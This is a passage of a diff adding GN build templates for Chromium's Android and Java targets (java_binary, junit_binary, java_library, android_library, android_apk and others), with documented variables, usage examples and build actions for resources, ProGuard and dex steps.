+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+    }
+
+    group(final_target_name) {
+      forward_variables_from(invoker, [ "visibility" ])
+      public_deps = [
+        ":$zip_target_name",
+      ]
+    }
+  }
+
+  # Declare a Java executable target
+  #
+  # This target creates an executable from java code and libraries. The executable
+  # will be in the output folder's /bin/ directory.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Java targets in this list
+  #     will be included in the executable (and the javac classpath).
+  #   java_files: List of .java files included in this library.
+  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars
+  #     will be added to java_files and be included in this library.
+  #   srcjars: List of srcjars to be included in this library, together with the
+  #     ones obtained from srcjar_deps.
+  #   bypass_platform_checks: Disables checks about cross-platform (Java/Android)
+  #     dependencies for this target. This will allow depending on an
+  #     android_library target, for example.
+  #   chromium_code: If true, extra analysis warning/errors will be enabled.
+  #   enable_errorprone: If true, enables the errorprone compiler.
+  #   enable_incremental_javac_override: Overrides the
+  #     global enable_incremental_javac.
+  #   main_class: When specified, a wrapper script is created within
+  #     $root_build_dir/bin to launch the binary with the given class as the
+  #     entrypoint.
+  #   wrapper_script_args: List of additional arguments for the wrapper script.
+  #
+  #   data_deps, testonly
+  #
+  # Example
+  #   java_binary("foo") {
+  #     java_files = [ "org/chromium/foo/FooMain.java" ]
+  #     deps = [ ":bar_java" ]
+  #     main_class = "org.chromium.foo.FooMain"
+  #   }
+  template("java_binary") {
+    set_sources_assignment_filter([])
+
+    java_library_impl(target_name) {
+      forward_variables_from(invoker, "*")
+      supports_android = false
+      main_class = invoker.main_class
+      is_java_binary = true
+    }
+  }
+
+  # Declare a Junit executable target
+  #
+  # This target creates an executable from java code for running as a junit test
+  # suite. The executable will be in the output folder's /bin/ directory.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Java targets in this list
+  #     will be included in the executable (and the javac classpath).
+  #
+  #   java_files: List of .java files included in this library.
+  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars
+  #     will be added to java_files and be included in this library.
+  #   srcjars: List of srcjars to be included in this library, together with the
+  #     ones obtained from srcjar_deps.
+  #
+  #   chromium_code: If true, extra analysis warning/errors will be enabled.
+  #
+  # Example
+  #   junit_binary("foo") {
+  #     java_files = [ "org/chromium/foo/FooTest.java" ]
+  #     deps = [ ":bar_java" ]
+  #   }
+  template("junit_binary") {
+    set_sources_assignment_filter([])
+    testonly = true
+
+    _java_binary_target_name = "${target_name}__java_binary"
+    _test_runner_target_name = "${target_name}__test_runner_script"
+
+    test_runner_script(_test_runner_target_name) {
+      test_name = invoker.target_name
+      test_suite = invoker.target_name
+      test_type = "junit"
+      ignore_all_data_deps = true
+    }
+
+    java_binary(_java_binary_target_name) {
+      deps = []
+      output_name = invoker.target_name
+      forward_variables_from(invoker, "*")
+      testonly = true
+      bypass_platform_checks = true
+      main_class = "org.chromium.testing.local.JunitTestMain"
+      wrapper_script_name = "helper/$target_name"
+      deps += [
+        "//testing/android/junit:junit_test_support",
+        "//third_party/junit",
+        "//third_party/mockito:mockito_java",
+        "//third_party/robolectric:robolectric_all_java",
+      ]
+    }
+    group(target_name) {
+      public_deps = [
+        ":$_java_binary_target_name",
+        ":$_test_runner_target_name",
+      ]
+    }
+  }
+
+  # Declare a java library target
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Java targets in this list
+  #     will be added to the javac classpath.
+  #
+  #   java_files: List of .java files included in this library.
+  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars
+  #     will be added to java_files and be included in this library.
+  #   srcjars: List of srcjars to be included in this library, together with the
+  #     ones obtained from srcjar_deps.
+  #
+  #   input_jars_paths: A list of paths to the jars that should be included
+  #     in the classpath. These are in addition to library .jars that
+  #     appear in deps.
+  #
+  #   chromium_code: If true, extra analysis warning/errors will be enabled.
+  #   enable_errorprone: If true, enables the errorprone compiler.
+  #   enable_incremental_javac_override: Overrides the global
+  #     enable_incremental_javac.
+  #
+  #   jar_excluded_patterns: List of patterns of .class files to exclude from the
+  #     final jar.
+  #
+  #   output_name: File name for the output .jar (not including extension).
+  #     Defaults to the input .jar file name.
+  #
+  #   proguard_preprocess: If true, proguard preprocessing will be run. This can
+  #     be used to remove unwanted parts of the library.
+  #   proguard_preprocess_config: Path to the proguard config for preprocessing.
+  #   proguard_configs: List of proguard configs to use in final apk step for
+  #     any apk that depends on this library.
+  #
+  #   supports_android: If true, Android targets (android_library, android_apk)
+  #     may depend on this target. Note: if true, this target must only use the
+  #     subset of Java available on Android.
+  #   bypass_platform_checks: Disables checks about cross-platform (Java/Android)
+  #     dependencies for this target. This will allow depending on an
+  #     android_library target, for example.
+  #
+  #   additional_jar_files: Use to package additional files into the output jar.
+  #     Pass a list of length-2 lists with format
+  #     [ [ path_to_file, path_to_put_in_jar ] ]
+  #
+  #
+  #   data_deps, testonly
+  #
+  # Example
+  #   java_library("foo_java") {
+  #     java_files = [
+  #       "org/chromium/foo/Foo.java",
+  #       "org/chromium/foo/FooInterface.java",
+  #       "org/chromium/foo/FooService.java",
+  #     ]
+  #     deps = [
+  #       ":bar_java"
+  #     ]
+  #     srcjar_deps = [
+  #       ":foo_generated_enum"
+  #     ]
+  #     jar_excluded_patterns = [
+  #       "*/FooService.class", "*/FooService\$*.class"
+  #     ]
+  #   }
+  template("java_library") {
+    set_sources_assignment_filter([])
+    java_library_impl(target_name) {
+      forward_variables_from(invoker, "*")
+    }
+  }
+
+  # Declare a java library target for a prebuilt jar
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Java targets in this list
+  #     will be added to the javac classpath.
+  #   jar_path: Path to the prebuilt jar.
+  #   jar_dep: Target that builds jar_path (optional).
+  #   main_class: When specified, a wrapper script is created within
+  #     $root_build_dir/bin to launch the binary with the given class as the
+  #     entrypoint.
+  #   output_name: File name for the output .jar (not including extension).
+  #     Defaults to the input .jar file name.
+  #   proguard_preprocess: If true, proguard preprocessing will be run. This can
+  #     be used to remove unwanted parts of the library.
+  #   proguard_preprocess_config: Path to the proguard config for preprocessing.
+  #   proguard_configs: List of proguard configs to use in final apk step for
+  #     any apk that depends on this library.
+  #   supports_android: If true, Android targets (android_library, android_apk)
+  #     may depend on this target. Note: if true, this target must only use the
+  #     subset of Java available on Android.
+  #
+  # Example
+  #   java_prebuilt("foo_java") {
+  #     jar_path = "foo.jar"
+  #     deps = [
+  #       ":foo_resources",
+  #       ":bar_java"
+  #     ]
+  #   }
+  template("java_prebuilt") {
+    set_sources_assignment_filter([])
+    java_prebuilt_impl(target_name) {
+      forward_variables_from(invoker, "*")
+    }
+  }
+
+  # Declare an Android library target
+  #
+  # This target creates an Android library containing java code and Android
+  # resources.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Java targets in this list
+  #     will be added to the javac classpath. Android resources in dependencies
+  #     will be used when building this library.
+  #
+  #   java_files: List of .java files included in this library.
+  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars
+  #     will be added to java_files and be included in this library.
+  #   srcjars: List of srcjars to be included in this library, together with the
+  #     ones obtained from srcjar_deps.
+  #
+  #   input_jars_paths: A list of paths to the jars that should be included
+  #     in the classpath. These are in addition to library .jars that
+  #     appear in deps.
+  #
+  #   chromium_code: If true, extra analysis warning/errors will be enabled.
+  #   enable_errorprone: If true, enables the errorprone compiler.
+  #   enable_incremental_javac_override: Overrides the global
+  #     enable_incremental_javac.
+  #
+  #   jar_excluded_patterns: List of patterns of .class files to exclude from the
+  #     final jar.
+  #
+  #   proguard_preprocess: If true, proguard preprocessing will be run. This can
+  #     be used to remove unwanted parts of the library.
+  #   proguard_preprocess_config: Path to the proguard config for preprocessing.
+  #   proguard_configs: List of proguard configs to use in final apk step for
+  #     any apk that depends on this library.
+  #
+  #   output_name: File name for the output .jar (not including extension).
+  #     Defaults to the input .jar file name.
+  #   dex_path: If set, the resulting .dex.jar file will be placed under this
+  #     path.
+  #
+  #   alternative_android_sdk_ijar: if set, the given android_sdk_ijar file
+  #     replaces the default android_sdk_ijar.
+  #
+  #   alternative_android_sdk_ijar_dep: the target that generates
+  #      alternative_android_sdk_ijar, must be set if alternative_android_sdk_ijar
+  #      is used.
+  #
+  #   emma_never_instrument: Disables EMMA Java code coverage for this target.
+  #
+  # Example
+  #   android_library("foo_java") {
+  #     java_files = [
+  #       "android/org/chromium/foo/Foo.java",
+  #       "android/org/chromium/foo/FooInterface.java",
+  #       "android/org/chromium/foo/FooService.java",
+  #     ]
+  #     deps = [
+  #       ":bar_java"
+  #     ]
+  #     srcjar_deps = [
+  #       ":foo_generated_enum"
+  #     ]
+  #     jar_excluded_patterns = [
+  #       "*/FooService.class", "*/FooService\$*.class"
+  #     ]
+  #   }
+  template("android_library") {
+    set_sources_assignment_filter([])
+    assert(!defined(invoker.jar_path),
+           "android_library does not support a custom jar path")
+
+    if (defined(invoker.alternative_android_sdk_ijar)) {
+      assert(defined(invoker.alternative_android_sdk_ijar_dep))
+    }
+
+    java_library_impl(target_name) {
+      forward_variables_from(invoker, "*")
+
+      supports_android = true
+      requires_android = true
+
+      if (!defined(jar_excluded_patterns)) {
+        jar_excluded_patterns = []
+      }
+      jar_excluded_patterns += [
+        "*/R.class",
+        "*/R\$*.class",
+        "*/Manifest.class",
+        "*/Manifest\$*.class",
+      ]
+    }
+  }
+
+  # Declare a target that packages a set of Java dependencies into a standalone
+  # .dex.jar.
+  #
+  # Variables
+  #   deps: specifies the dependencies of this target. Android libraries in deps
+  #     will be packaged into the resulting .dex.jar file.
+  #   dex_path: location at which the output file will be put
+  template("android_standalone_library") {
+    set_sources_assignment_filter([])
+    deps_dex(target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "dex_path",
+                               "excluded_jars",
+                             ])
+    }
+  }
+
+  # Declare an Android library target for a prebuilt jar
+  #
+  # This target creates an Android library containing java code and Android
+  # resources.
+  #
+  # Variables
+  #   deps: Specifies the dependencies of this target. Java targets in this list
+  #     will be added to the javac classpath. Android resources in dependencies
+  #     will be used when building this library.
+  #   jar_path: Path to the prebuilt jar.
+  #   output_name: File name for the output .jar (not including extension).
+  #     Defaults to the input .jar file name.
+  #   proguard_preprocess: If true, proguard preprocessing will be run. This can
+  #     be used to remove unwanted parts of the library.
+  #   proguard_preprocess_config: Path to the proguard config for preprocessing.
+  #   proguard_configs: List of proguard configs to use in final apk step for
+  #     any apk that depends on this library.
+  #
+  # Example
+  #   android_java_prebuilt("foo_java") {
+  #     jar_path = "foo.jar"
+  #     deps = [
+  #       ":foo_resources",
+  #       ":bar_java"
+  #     ]
+  #   }
+  template("android_java_prebuilt") {
+    set_sources_assignment_filter([])
+    java_prebuilt_impl(target_name) {
+      forward_variables_from(invoker, "*")
+      supports_android = true
+      requires_android = true
+      strip_resource_classes = true
+    }
+  }
+
+  # Declare an Android apk target
+  #
+  # This target creates an Android APK containing java code, resources, assets,
+  # and (possibly) native libraries.
+  #
+  # Variables
+  #   alternative_android_sdk_jar: The alternative android sdk jar used in
+  #     proguard.
+  #   android_aapt_path: Android aapt tool to replace default one to build
+  #     resource.
+  #   android_manifest: Path to AndroidManifest.xml.
+  #   android_manifest_dep: Target that generates AndroidManifest (if applicable)
+  #   chromium_code: If true, extra analysis warning/errors will be enabled.
+  #   dist_ijar_path: Path to create "${target_name}_dist_ijar" target
+  #     (used by instrumentation_test_apk).
+  #   data_deps: List of dependencies needed at runtime. These will be built but
+  #     won't change the generated .apk in any way (in fact they may be built
+  #     after the .apk is).
+  #   deps: List of dependencies. All Android java resources and libraries in the
+  #     "transitive closure" of these dependencies will be included in the apk.
+  #     Note: this "transitive closure" actually only includes such targets if
+  #     they are depended on through android_library or android_resources targets
+  #     (and so not through builtin targets like 'action', 'group', etc).
+  #   install_script_name: Name of wrapper script (default=target_name).
+  #   java_files: List of .java files to include in the apk.
+  #   srcjar_deps: List of srcjar dependencies. The .java files in the srcjars
+  #      will be added to java_files and be included in this apk.
+  #   apk_name: Name for final apk.
+  #   final_apk_path: Path to final built apk. Default is
+  #     $root_out_dir/apks/$apk_name.apk. Setting this will override apk_name.
+  #   loadable_modules: List of paths to native libraries to include. Different
+  #     from |shared_libraries| in that:
+  #       * dependencies of this .so are not automatically included
+  #       * ".cr.so" is never added
+  #       * they are not side-loaded for _incremental targets.
+  #       * load_library_from_apk, use_chromium_linker,
+  #         and enable_relocation_packing do not apply
+  #     Use this instead of shared_libraries when you are going to load the library
+  #     conditionally, and only when shared_libraries doesn't work for you.
+  #   shared_libraries: List shared_library targets to bundle. If these
+  #     libraries depend on other shared_library targets, those dependencies will
+  #     also be included in the apk (e.g. for is_component_build).
+  #   secondary_abi_shared_libraries: secondary abi shared_library targets to
+  #     bundle. If these libraries depend on other shared_library targets, those
+  #     dependencies will also be included in the apk (e.g. for is_component_build).
+  #   native_lib_placeholders: List of placeholder filenames to add to the apk
+  #     (optional).
+  #   apk_under_test: For an instrumentation test apk, this is the target of the
+  #     tested apk.
+  #   include_all_resources - If true include all resource IDs in all generated
+  #     R.java files.
+  #   testonly: Marks this target as "test-only".
+  #   write_asset_list: Adds an extra file to the assets, which contains a list of
+  #     all other asset files.
+  #   requires_sdk_api_level_23: If defined and true, the apk is intended for
+  #     installation only on Android M or later. In these releases the system
+  #     linker does relocation unpacking, so we can enable it unconditionally.
+  #   secondary_native_libs (deprecated): The path of native libraries for secondary
+  #     app abi.
+  #   run_findbugs_override: Forces run_findbugs on or off. If undefined, the
+  #     default will use the build arg run_findbugs.
+  #   proguard_jar_path: The path to proguard.jar you wish to use. If undefined,
+  #     the proguard used will be the checked in one in //third_party/proguard.
+  #
+  # Example
+  #   android_apk("foo_apk") {
+  #     android_manifest = "AndroidManifest.xml"
+  #     java_files = [
+  #       "android/org/chromium/foo/FooApplication.java",
+  #       "android/org/chromium/foo/FooActivity.java",
+  #     ]
+  #     deps = [
+  #       ":foo_support_java"
+  #       ":foo_resources"
+  #     ]
+  #     srcjar_deps = [
+  #       ":foo_generated_enum"
+  #     ]
+  #     shared_libraries = [
+  #       ":my_shared_lib",
+  #     ]
+  #   }
+  template("android_apk") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.final_apk_path) || defined(invoker.apk_name))
+    assert(defined(invoker.android_manifest))
+    gen_dir = "$target_gen_dir/$target_name"
+    base_path = "$gen_dir/$target_name"
+    _build_config = "$target_gen_dir/$target_name.build_config"
+    resources_zip_path = "$base_path.resources.zip"
+    _all_resources_zip_path = "$base_path.resources.all.zip"
+    _jar_path = "$base_path.jar"
+    _lib_dex_path = "$base_path.dex.jar"
+    _rebased_lib_dex_path = rebase_path(_lib_dex_path, root_build_dir)
+    _template_name = target_name
+
+    enable_multidex =
+        defined(invoker.enable_multidex) && invoker.enable_multidex
+    if (enable_multidex) {
+      final_dex_path = "$gen_dir/classes.dex.zip"
+    } else {
+      final_dex_path = "$gen_dir/classes.dex"
+    }
+    final_dex_target_name = "${_template_name}__final_dex"
+
+    _final_apk_path = ""
+    if (defined(invoker.final_apk_path)) {
+      _final_apk_path = invoker.final_apk_path
+    } else if (defined(invoker.apk_name)) {
+      _final_apk_path = "$root_build_dir/apks/" + invoker.apk_name + ".apk"
+    }
+    _final_apk_path_no_ext_list =
+        process_file_template([ _final_apk_path ],
+                              "{{source_dir}}/{{source_name_part}}")
+    _final_apk_path_no_ext = _final_apk_path_no_ext_list[0]
+    assert(_final_apk_path_no_ext != "")  # Mark as used.
+
+    _install_script_name = "install_$_template_name"
+    if (defined(invoker.install_script_name)) {
+      _install_script_name = invoker.install_script_name
+    }
+    _incremental_install_script_path =
+        "${root_out_dir}/bin/${_install_script_name}_incremental"
+
+    _version_code = android_default_version_code
+    if (defined(invoker.version_code)) {
+      _version_code = invoker.version_code
+    }
+
+    _version_name = android_default_version_name
+    if (defined(invoker.version_name)) {
+      _version_name = invoker.version_name
+    }
+    _keystore_path = android_keystore_path
+    _keystore_name = android_keystore_name
+    _keystore_password = android_keystore_password
+
+    if (defined(invoker.keystore_path)) {
+      _keystore_path = invoker.keystore_path
+      _keystore_name = invoker.keystore_name
+      _keystore_password = invoker.keystore_password
+    }
+
+    _srcjar_deps = []
+    if (defined(invoker.srcjar_deps)) {
+      _srcjar_deps += invoker.srcjar_deps
+    }
+
+    _use_chromium_linker =
+        defined(invoker.use_chromium_linker) && invoker.use_chromium_linker
+    _enable_relocation_packing = defined(invoker.enable_relocation_packing) &&
+                                 invoker.enable_relocation_packing
+    _load_library_from_apk =
+        defined(invoker.load_library_from_apk) && invoker.load_library_from_apk
+    _requires_sdk_api_level_23 = defined(invoker.requires_sdk_api_level_23) &&
+                                 invoker.requires_sdk_api_level_23
+
+    assert(_use_chromium_linker || true)  # Mark as used.
+    assert(_requires_sdk_api_level_23 || true)
+    if (_enable_relocation_packing) {
+      assert(_use_chromium_linker || _requires_sdk_api_level_23,
+             "enable_relocation_packing requires either use_chromium_linker " +
+                 "or requires_sdk_api_level_23")
+    }
+    if (_load_library_from_apk) {
+      assert(_use_chromium_linker || _requires_sdk_api_level_23,
+             "load_library_from_apk requires use_chromium_linker " +
+                 "or requires_sdk_api_level_23")
+    }
+
+    # The dependency that makes the chromium linker, if any is needed.
+    _native_libs_deps = []
+    _shared_libraries_is_valid =
+        defined(invoker.shared_libraries) && invoker.shared_libraries != []
+    _secondary_abi_native_libs_deps = []
+    assert(_secondary_abi_native_libs_deps == [])  # mark as used.
+    _secondary_abi_shared_libraries_is_valid =
+        defined(invoker.secondary_abi_shared_libraries) &&
+        invoker.secondary_abi_shared_libraries != []
+
+    if (is_component_build || is_asan) {
+      if (_shared_libraries_is_valid) {
+        _native_libs_deps += [ "//build/android:cpplib_stripped" ]
+      }
+      if (_secondary_abi_shared_libraries_is_valid) {
+        _secondary_abi_native_libs_deps += [ "//build/android:cpplib_stripped($android_secondary_abi_toolchain)" ]
+      }
+    }
+
+    if (_shared_libraries_is_valid) {
+      _native_libs_deps += invoker.shared_libraries
+
+      # To determine the filenames of all dependent shared libraries, write the
+      # runtime deps of |shared_libraries| to a file during "gn gen".
+      # write_build_config.py will then grep this file for *.so to obtain the
+      # complete list.
+      _runtime_deps_file =
+          "$target_gen_dir/${_template_name}.native.runtimedeps"
+      group("${_template_name}__runtime_deps") {
+        deps = _native_libs_deps
+        write_runtime_deps = _runtime_deps_file
+      }
+
+      _native_lib_version_rule = ""
+      if (defined(invoker.native_lib_version_rule)) {
+        _native_lib_version_rule = invoker.native_lib_version_rule
+      }
+      _native_lib_version_arg = "\"\""
+      if (defined(invoker.native_lib_version_arg)) {
+        _native_lib_version_arg = invoker.native_lib_version_arg
+      }
+    }
+
+    if (_secondary_abi_shared_libraries_is_valid) {
+      _secondary_abi_native_libs_deps += invoker.secondary_abi_shared_libraries
+
+      # To determine the filenames of all dependent shared libraries, write the
+      # runtime deps of |shared_libraries| to a file during "gn gen".
+      # write_build_config.py will then grep this file for *.so to obtain the
+      # complete list.
+      _secondary_abi_runtime_deps_file =
+          "$target_gen_dir/${_template_name}.secondary.abi.native.runtimedeps"
+      group("${_template_name}_secondary_abi__runtime_deps") {
+        deps = _secondary_abi_native_libs_deps
+        write_runtime_deps = _secondary_abi_runtime_deps_file
+      }
+    }
+
+    if (defined(invoker.deps)) {
+      set_sources_assignment_filter([ "*manifest*" ])
+      sources = invoker.deps
+      set_sources_assignment_filter([])
+      if (sources != invoker.deps) {
+        _bad_deps = invoker.deps - sources
+        assert(
+            false,
+            "Possible manifest-generating dep found in deps. Use android_manifest_dep for this instead. Found: $_bad_deps")
+      }
+      sources = []
+    }
+    _android_manifest_deps = []
+    if (defined(invoker.android_manifest_dep)) {
+      _android_manifest_deps = [ invoker.android_manifest_dep ]
+    }
+    _android_manifest = invoker.android_manifest
+
+    _rebased_build_config = rebase_path(_build_config, root_build_dir)
+    _create_abi_split =
+        defined(invoker.create_abi_split) && invoker.create_abi_split
+    _create_density_splits =
+        defined(invoker.create_density_splits) && invoker.create_density_splits
+    _create_language_splits =
+        defined(invoker.language_splits) && invoker.language_splits != []
+
+    # Help GN understand that _create_abi_split is not unused (bug in GN).
+    assert(_create_abi_split || true)
+
+    _proguard_enabled =
+        defined(invoker.proguard_enabled) && invoker.proguard_enabled
+    if (_proguard_enabled) {
+      _proguard_output_jar_path = "$base_path.proguard.jar"
+    }
+
+    _emma_never_instrument = defined(invoker.testonly) && invoker.testonly
+
+    build_config_target = "${_template_name}__build_config"
+    write_build_config(build_config_target) {
+      forward_variables_from(invoker, [ "apk_under_test" ])
+      type = "android_apk"
+      jar_path = _jar_path
+      dex_path = final_dex_path
+      apk_path = _final_apk_path
+      incremental_apk_path = "${_final_apk_path_no_ext}_incremental.apk"
+      incremental_install_script_path = _incremental_install_script_path
+      resources_zip = resources_zip_path
+      build_config = _build_config
+      android_manifest = _android_manifest
+
+      deps = _android_manifest_deps
+
+      if (defined(invoker.deps)) {
+        possible_config_deps = invoker.deps
+      }
+
+      # Added emma to the target's classpath via its .build_config.
+      if (emma_coverage && !_emma_never_instrument) {
+        possible_config_deps +=
+            [ "//third_party/android_tools:emma_device_java" ]
+      }
+
+      proguard_enabled = _proguard_enabled
+      if (_proguard_enabled) {
+        proguard_info = "$_proguard_output_jar_path.info"
+      }
+
+      # Don't depend on the runtime_deps target in order to avoid having to
+      # build the native libraries just to create the .build_config file.
+      # The dep is unnecessary since the runtime_deps file is created by gn gen
+      # and the runtime_deps file is added to write_build_config.py's depfile.
+      if (_native_libs_deps != []) {
+        shared_libraries_runtime_deps_file = _runtime_deps_file
+      }
+      if (_secondary_abi_native_libs_deps != []) {
+        secondary_abi_shared_libraries_runtime_deps_file =
+            _secondary_abi_runtime_deps_file
+      }
+    }
+
+    _final_deps = []
+
+    _generated_proguard_config = "$base_path.resources.proguard.txt"
+    process_resources_target = "${_template_name}__process_resources"
+    process_resources(process_resources_target) {
+      forward_variables_from(invoker,
+                             [
+                               "alternative_android_sdk_jar",
+                               "android_aapt_path",
+                               "app_as_shared_lib",
+                               "include_all_resources",
+                               "shared_resources",
+                             ])
+      srcjar_path = "${target_gen_dir}/${target_name}.srcjar"
+      r_text_path = "${target_gen_dir}/${target_name}_R.txt"
+      android_manifest = _android_manifest
+      resource_dirs = [ "//build/android/ant/empty/res" ]
+      zip_path = resources_zip_path
+      all_resources_zip_path = _all_resources_zip_path
+      generate_constant_ids = true
+      proguard_file = _generated_proguard_config
+
+      build_config = _build_config
+      deps = _android_manifest_deps + [ ":$build_config_target" ]
+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+    }
+    _srcjar_deps += [ ":$process_resources_target" ]
+
+    if (_native_libs_deps != []) {
+      _enable_chromium_linker_tests = false
+      if (defined(invoker.enable_chromium_linker_tests)) {
+        _enable_chromium_linker_tests = invoker.enable_chromium_linker_tests
+      }
+      _ordered_libraries_json =
+          "$target_gen_dir/$target_name.ordered_libararies.json"
+      _rebased_ordered_libraries_json =
+          rebase_path(_ordered_libraries_json, root_build_dir)
+      _ordered_libraries_target = "${_template_name}__write_ordered_libraries"
+
+      # TODO(agrieve): Make GN write runtime deps in dependency order so as to
+      # not need this manual sorting step.
+      action(_ordered_libraries_target) {
+        script = "//build/android/gyp/write_ordered_libraries.py"
+        deps = _native_libs_deps + [ ":$build_config_target" ]
+        outputs = [
+          _ordered_libraries_json,
+        ]
+        _rebased_android_readelf = rebase_path(android_readelf, root_build_dir)
+        args = [
+          "--readelf=$_rebased_android_readelf",
+          "--output=$_rebased_ordered_libraries_json",
+          "--libraries-dir=.",
+          "--input-libraries=@FileArg($_rebased_build_config:native:libraries)",
+        ]
+      }
+
+      java_cpp_template("${_template_name}__native_libraries_java") {
+        package_name = "org/chromium/base/library_loader"
+        sources = [
+          "//base/android/java/templates/NativeLibraries.template",
+        ]
+        inputs = [
+          _ordered_libraries_json,
+        ]
+        deps = [
+          ":${_ordered_libraries_target}",
+        ]
+        if (_native_lib_version_rule != "") {
+          deps += [ _native_lib_version_rule ]
+        }
+
+        defines = [
+          "NATIVE_LIBRARIES_LIST=" +
+              "@FileArg($_rebased_ordered_libraries_json:java_libraries_list)",
+          "NATIVE_LIBRARIES_VERSION_NUMBER=$_native_lib_version_arg",
+        ]
+        if (_use_chromium_linker) {
+          defines += [ "ENABLE_CHROMIUM_LINKER" ]
+        }
+        if (_load_library_from_apk) {
+          defines += [ "ENABLE_CHROMIUM_LINKER_LIBRARY_IN_ZIP_FILE" ]
+        }
+        if (_enable_chromium_linker_tests) {
+          defines += [ "ENABLE_CHROMIUM_LINKER_TESTS" ]
+        }
+      }
+      _srcjar_deps += [ ":${_template_name}__native_libraries_java" ]
+    }
+
+    if (!defined(invoker.apk_under_test)) {
+      java_cpp_template("${_template_name}__build_config_java") {
+        package_name = "org/chromium/base"
+        sources = [
+          "//base/android/java/templates/BuildConfig.template",
+        ]
+        deps = [
+          ":$build_config_target",
+        ]
+
+        defines = []
+        if (enable_multidex) {
+          defines += [ "ENABLE_MULTIDEX" ]
+        }
+        if (is_java_debug || dcheck_always_on) {
+          defines += [ "_DCHECK_IS_ON" ]
+        }
+        defines += [
+          "COMPRESSED_LOCALE_LIST=" +
+              "@FileArg($_rebased_build_config:compressed_locales_java_list)",
+          "UNCOMPRESSED_LOCALE_LIST=" +
+              "@FileArg($_rebased_build_config:uncompressed_locales_java_list)",
+        ]
+      }
+      _srcjar_deps += [ ":${_template_name}__build_config_java" ]
+    }
+
+    java_target = "${_template_name}__java"
+    java_library_impl(java_target) {
+      forward_variables_from(invoker,
+                             [
+                               "chromium_code",
+                               "java_files",
+                               "run_findbugs_override",
+                             ])
+      supports_android = true
+      requires_android = true
+      override_build_config = _build_config
+      deps = _android_manifest_deps + [ ":$build_config_target" ]
+
+      android_manifest = _android_manifest
+      srcjar_deps = _srcjar_deps
+      jar_path = _jar_path
+      dex_path = _lib_dex_path
+      emma_never_instrument = _emma_never_instrument
+
+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+      if (defined(invoker.apk_under_test)) {
+        deps += [ "${invoker.apk_under_test}__java" ]
+      }
+      if (emma_coverage && !_emma_never_instrument) {
+        deps += [ "//third_party/android_tools:emma_device_java" ]
+      }
+    }
+
+    # TODO(cjhopman): This is only ever needed to calculate the list of tests to
+    # run. See build/android/pylib/instrumentation/test_jar.py. We should be
+    # able to just do that calculation at build time instead.
+    if (defined(invoker.dist_ijar_path)) {
+      _dist_ijar_path = invoker.dist_ijar_path
+      action("${_template_name}_dist_ijar") {
+        script = "//build/android/gyp/create_dist_jar.py"
+        depfile = "$target_gen_dir/$target_name.d"
+        inputs = [
+          _build_config,
+        ]
+        outputs = [
+          "${_dist_ijar_path}",
+        ]
+        data = [
+          _dist_ijar_path,
+        ]
+        args = [
+          "--depfile",
+          rebase_path(depfile, root_build_dir),
+          "--output",
+          rebase_path("${_dist_ijar_path}", root_build_dir),
+          "--inputs=@FileArg($_rebased_build_config:dist_jar:all_interface_jars)",
+        ]
+        deps = [
+          ":$build_config_target",  # Generates the build config file.
+          ":$java_target",  # Generates the jar file.
+        ]
+      }
+    }
+
+    if (_proguard_enabled) {
+      _proguard_configs = [ _generated_proguard_config ]
+      if (defined(invoker.proguard_configs)) {
+        _proguard_configs += invoker.proguard_configs
+      }
+      assert(_proguard_configs != [])  # Mark as used.
+      _proguard_target = "${_template_name}__proguard"
+      proguard(_proguard_target) {
+        forward_variables_from(invoker,
+                               [
+                                 "alternative_android_sdk_jar",
+                                 "deps",
+                                 "proguard_jar_path",
+                               ])
+        if (!defined(deps)) {
+          deps = []
+        }
+        deps += [
+          ":$build_config_target",
+          ":$java_target",
+          ":$process_resources_target",
+        ]
+        inputs = [
+                   _build_config,
+                   _jar_path,
+                 ] + _proguard_configs
+
+        output_jar_path = _proguard_output_jar_path
+        _rebased_proguard_configs =
+            rebase_path(_proguard_configs, root_build_dir)
+        args = [
+          "--proguard-configs=$_rebased_proguard_configs",
+          "--proguard-configs=@FileArg($_rebased_build_config:proguard:lib_configs)",
+          "--input-paths=@FileArg($_rebased_build_config:proguard:input_paths)",
+          "--classpath=@FileArg($_rebased_build_config:proguard:lib_paths)",
+        ]
+        if (defined(invoker.apk_under_test)) {
+          deps += [
+            "${invoker.apk_under_test}__build_config",
+            "${invoker.apk_under_test}__proguard",
+          ]
+          _apk_under_test_build_config =
+              get_label_info(invoker.apk_under_test, "target_gen_dir") + "/" +
+              get_label_info(invoker.apk_under_test, "name") + ".build_config"
+          _rebased_apk_under_test_build_config =
+              rebase_path(_apk_under_test_build_config, root_build_dir)
+          args += [ "--tested-apk-info=@FileArg($_rebased_apk_under_test_build_config:deps_info:proguard_info)" ]
+        }
+      }
+      _dex_sources = [ _proguard_output_jar_path ]
+      _dex_deps = [ ":$_proguard_target" ]
+
+      _copy_proguard_mapping_target = "${_template_name}__copy_proguard_mapping"
+      copy(_copy_proguard_mapping_target) {
+        sources = [
+          "$_proguard_output_jar_path.mapping",
+        ]
+        outputs = [
+          "$_final_apk_path.mapping",
+        ]
+        deps = [
+          ":$_proguard_target",
+        ]
+      }
+    } else {
+      if (enable_multidex) {
+        _dex_sources = [ _jar_path ]
+      } else {
+        _dex_sources = [ _lib_dex_path ]
+      }
+      _dex_deps = [ ":$java_target" ]
+    }
+
+    dex("$final_dex_target_name") {
+      deps = _dex_deps + [ ":$build_config_target" ]
+      inputs = [
+        _build_config,
+      ]
+      sources = _dex_sources
+      output = final_dex_path
+
+      # All deps are already included in _dex_sources when proguard is used.
+      if (!_proguard_enabled) {
+        if (enable_multidex) {
+          _dex_arg_key = "${_rebased_build_config}:dist_jar:dependency_jars"
+        } else {
+          _dex_arg_key =
+              "${_rebased_build_config}:final_dex:dependency_dex_files"
+        }
+        args = [ "--inputs=@FileArg($_dex_arg_key)" ]
+      }
